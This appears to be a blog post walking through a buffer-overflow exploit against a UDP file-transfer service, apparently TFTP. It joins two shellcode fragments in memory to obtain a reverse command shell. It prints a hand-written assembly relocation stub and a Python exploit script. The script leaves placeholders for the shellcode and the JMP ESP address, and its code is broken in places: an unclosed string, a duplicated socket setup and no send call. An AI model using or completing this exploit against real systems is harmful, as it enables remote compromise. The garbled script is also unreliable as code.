Interestingly, data from these packets was still stored in an accessible memory location, so when the crafted packet was send to crash the application with a buffer overflow, and take control of code execution, there is the potential to have two payloads in memory.

This means that an attacker can place two pieces of code in memory one of 222 bytes, and one of around 250 bytes.

Neither of these are particularly useful on their own, but when bolted together it would be 470+ bytes, which is usually plenty of space to get a remote command shell working.

The basic structure

There was a bit of assembly language acrobatics to do, to get this to work.

Firstly, the only accessible area to initially jump to (using JMP ESP at a known location) was only 7 bytes long, so I put in a near jump there, to jump back around 250 bytes to our first main area of 222 bytes.

Luckily one of the registers (EDI) points to a known location within the other piece of attacker controlled memory, so I wrote a short piece of shellcode at the start of the first 222 byte buffer, to copy all of the code in this area, to another area in memory, to seamlessly meet the other code, fusing together the two pieces of code in a contiguous block.

To move shellcode1

Here is the code relocation code (Cut'n'shut code):

FC     CLD           ; Clear the directional flag
83EF60 SUB EDI,60    ; Point EDI to where we will put
83EF59 SUB EDI,59    ;  the first half of the shellcode
8BF4   MOV ESI,ESP   ; Point ESI to the source of the
83EE60 SUB ESI,60    ;  first half of the shellcode
83EE6C SUB ESI,6C    ;
33C9   XOR ECX,ECX   ; Zero ECX (without using any zeros)
B1C8   MOV CL,0C8    ; Put 0xC8 in ECX (again, without zeros used)
F3A4   REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> ; Copy all the code across
83EF60 SUB EDI,60    ; Point EDI to the start of our new code
83EF60 SUB EDI,60    ;
FFE7   JMP EDI       ; Jump to the new location in memory
90     NOP

Notice that in this piece of code I used a couple of techniques to avoid using the "\x00" byte. This is a "bad character" for this protocol, and would break the exploit (luckily there are not many bad-chars for this particular exploit which made writing the shellcode easier).

This means that a block of up to 450 bytes of self-decoding shellcode could then be used for the main payload, connecting back to our attacking system and providing a command shell.

Editing and running new opcodes on the fly

One of the most useful techniques I used while using Ollydbg to extend this exploit, was to write and run assembly language changes on the fly, instruction by instruction.

To do this, you set a breakpoint to stop execution and your initial jump instruction, then make sure your marker is in the right place, hit space, and you can then enter the assembly instructions, and run them as you go.

This means you can make quick changes, while debugging, to get very fine control over the state of the registers, memory and stack, to map out your proof of concept, and get it working.

Changes get highlighted in red, and you can then cut and paste the machine code opcodes, into the shellcode in your payload delivery program, to make a more permanent and reusable exploit, that works independently of the target system.

The final package

In my tests, running this simple python script below worked very well. Basically it causes two small packets to be sent to the target system. The "Second" payload gets delivered first, but executed second (if you know what I mean).

The first payload runs, copying itself to meet the second payload, unpacking the final combined payload which then compromises the system by giving a command shell back to the attacker.

All in all, this was a pretty complex hack, and took me a whole day to put together, troubleshoot, and get working. I missed out a lot of steps here to get the general idea across briefly. 

I have removed the shellcode from the example below for brevity (and also to confound the script-kiddies out there)

If you know what you are doing, I am sure you can fill in the blanks with some shellcode from Metasploit, and relevant JMP ESP addresses for the target platform.


import socket, sys, struct, time

host = sys.argv[1]
textport = sys.argv[2]

mode = "netascii"

# Cut'n'shut code
#83EF60 SUB EDI,60
#83EF59 SUB EDI,59
#83EE60 SUB ESI,60
#B1C8 MOV CL,0C8
#83EF60 SUB EDI,60
#83EF60 SUB EDI,60
#90 NOP

cutnshut = ("\xFC\x83\xEF\x60\x83\xEF\x59\x8B\xF4" +
"\x83\xEE\x60\x83\xEE\x6C\x33\xC9\xB1\xc8\xf3\xA4" +

# Make your own shellcode. You will need to avoid badchars (at least "\x00")

# First 193 bytes of shellcode goes here
payload1 = ("insert here")

# Find a JMP ESP address

eip = "insert jmp esp address"

# Where ESP is pointing put a backwards relative jump to start of the code

jumpback = "\xE9\x19\xff\xff\xff" + "\xCC" * 2

frontend = "\x00\x02" + cutnshut + payload1 + eip + jumpback + "\x00" + mode + "\x00"

# Insert the rest of shellcode here

rearend = ("A" * 251 + "insert here")

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
port = int(textport)
s.connect((host, port))


s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
port = int(textport)
s.connect((host, port))

print "BADOOOOF!!\n\n"